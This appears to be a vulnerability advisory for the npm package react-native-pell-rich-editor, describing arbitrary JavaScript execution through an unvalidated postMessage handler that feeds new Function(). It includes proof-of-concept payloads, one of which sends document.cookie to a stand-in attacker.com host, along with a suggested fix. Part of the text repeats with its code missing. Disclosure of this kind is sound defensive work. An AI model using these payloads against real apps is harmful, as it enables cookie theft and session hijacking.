Summary
react-native-pell-rich-editor (v1.10.0 and below) generates a WebView HTML page that registers a window.addEventListener("message") handler dispatching incoming messages to an Actions object. The Actions.content.commandDOM and Actions.content.command methods pass attacker-controlled strings directly into new Function("$", command)() without validating event.origin or event.source. Any page or iframe that can send a postMessage to the WebView can execute arbitrary JavaScript in its context.
Affected Component
- Package:
react-native-pell-rich-editor v1.10.0 (npm, ~30,000 weekly downloads)
- File:
src/editor.js
- Sinks:
Actions.content.commandDOM() (line 478) and Actions.content.command() (line 481)
- Handler:
window.addEventListener("message", message, false) (line 674)
Root Cause
// src/editor.js — line 694-709
var message = function (event){
// ❌ No event.origin check
// ❌ No event.source check
var msgData = JSON.parse(event.data), action = Actions[msgData.type];
if (action ){
if ( action[msgData.name]){
action[msgData.name](msgData.data, msgData.options); // ← dispatch to sink
} else {
action(msgData.data, msgData.options);
}
}
};
document.addEventListener("message", message , false);
window.addEventListener("message", message , false);
// src/editor.js — line 478-482
commandDOM: function (command){
try {new Function("$", command)(exports.document.querySelector.bind(exports.document))} catch(e){};
// ↑ attacker-controlled string executed as code
},
command: function (command){
try {new Function("$", command)(exports.document)} catch(e){};
}
The message handler blindly parses event.data as JSON, looks up Actions[msgData.type][msgData.name], and calls it with msgData.data. When type is "content" and name is "commandDOM" or "command", the data field is passed directly to new Function() and executed.
Attack Scenario
- A React Native app uses
react-native-pell-rich-editor to render a rich text editor inside a WebView
- The WebView loads HTML content that includes an attacker-controlled
<iframe> (e.g., via user-submitted rich text, or a malicious page opened via deep link)
- The iframe sends a crafted
postMessage to the parent WebView window:
parent.postMessage(JSON.stringify({
type: "content",
name: "commandDOM",
data: "fetch('https://attacker.com/steal?cookie='+document.cookie)"
}), "*");
- The WebView executes the attacker's code via
new Function("$", data)()
Alternatively, if the WebView URL is predictable or the app loads external content, an attacker-controlled page can target the WebView via window.open() + postMessage.
Proof of Concept
Prerequisites
- Node.js (for build step)
- Python 3 (for HTTP server)
Steps to Reproduce
cd exploits/react-native-rich-editor-xss
npm install # Installs real react-native-pell-rich-editor@1.10.0
node build.mjs # Imports createHTML() from the real package, generates HTML
cd dist
python3 -m http.server 8081 # Serve on localhost:8081
# Open http://localhost:8081/exploit.html
build.mjs (generates victim HTML from real package):
import { createHTML } from 'react-native-pell-rich-editor/src/editor.js';
import { writeFileSync, mkdirSync } from 'fs';
mkdirSync('dist', { recursive: true });
const html = createHTML({ useContainer: true });
writeFileSync('dist/victim-webview.html', html);
Exploit payload (sent from attacker page to victim iframe):
victim.contentWindow.postMessage(JSON.stringify({
type: "content",
name: "commandDOM",
data: "window.parent.postMessage(JSON.stringify({type:'EXFIL',data:document.cookie}), '*')"
}), '*');
Result
Clicking "RCE via commandDOM" sends the crafted postMessage. The WebView HTML executes new Function("$", attacker_code)() and exfiltrates data back to the attacker page. The editor content, cookies, and full DOM are accessible to the attacker.
Suggested Fix
Add origin validation to the message handler:
var message = function (event){
// Fix: only accept messages from the React Native bridge (same origin)
// React Native WebView sends messages with a specific origin or via
// ReactNativeWebView.postMessage which sets source appropriately
if (event.origin !== 'null' && event.origin !== location.origin) {
return;
}
var msgData = JSON.parse(event.data), action = Actions[msgData.type];
// ... rest of handler
};
Additionally, remove commandDOM and command (which are arbitrary code execution methods) or replace them with a safe allowlist of DOM operations:
// Instead of:
commandDOM: function (command){ new Function("$", command)(...) }
// Use a predefined set of safe operations:
commandDOM: function (op, selector, value) {
const el = document.querySelector(selector);
if (!el) return;
switch(op) {
case 'addClass': el.classList.add(value); break;
case 'removeClass': el.classList.remove(value); break;
case 'setAttribute': /* ... */ break;
// ... only safe operations
}
}
Summary
react-native-pell-rich-editor(v1.10.0 and below) generates a WebView HTML page that registers awindow.addEventListener("message")handler dispatching incoming messages to anActionsobject. TheActions.content.commandDOMandActions.content.commandmethods pass attacker-controlled strings directly intonew Function("$", command)()without validatingevent.originorevent.source. Any page or iframe that can send apostMessageto the WebView can execute arbitrary JavaScript in its context.Affected Component
react-native-pell-rich-editorv1.10.0 (npm, ~30,000 weekly downloads)src/editor.jsActions.content.commandDOM()(line 478) andActions.content.command()(line 481)window.addEventListener("message", message, false)(line 674)Root Cause
The message handler blindly parses
event.dataas JSON, looks upActions[msgData.type][msgData.name], and calls it withmsgData.data. Whentypeis"content"andnameis"commandDOM"or"command", thedatafield is passed directly tonew Function()and executed.Attack Scenario
react-native-pell-rich-editorto render a rich text editor inside a WebView<iframe>(e.g., via user-submitted rich text, or a malicious page opened via deep link)postMessageto the parent WebView window:new Function("$", data)()Alternatively, if the WebView URL is predictable or the app loads external content, an attacker-controlled page can target the WebView via
window.open()+postMessage.Proof of Concept
Prerequisites
Steps to Reproduce
build.mjs (generates victim HTML from real package):
Exploit payload (sent from attacker page to victim iframe):
Result
Clicking "RCE via commandDOM" sends the crafted postMessage. The WebView HTML executes
new Function("$", attacker_code)()and exfiltrates data back to the attacker page. The editor content, cookies, and full DOM are accessible to the attacker.Suggested Fix
Add origin validation to the message handler:
Additionally, remove
commandDOMandcommand(which are arbitrary code execution methods) or replace them with a safe allowlist of DOM operations: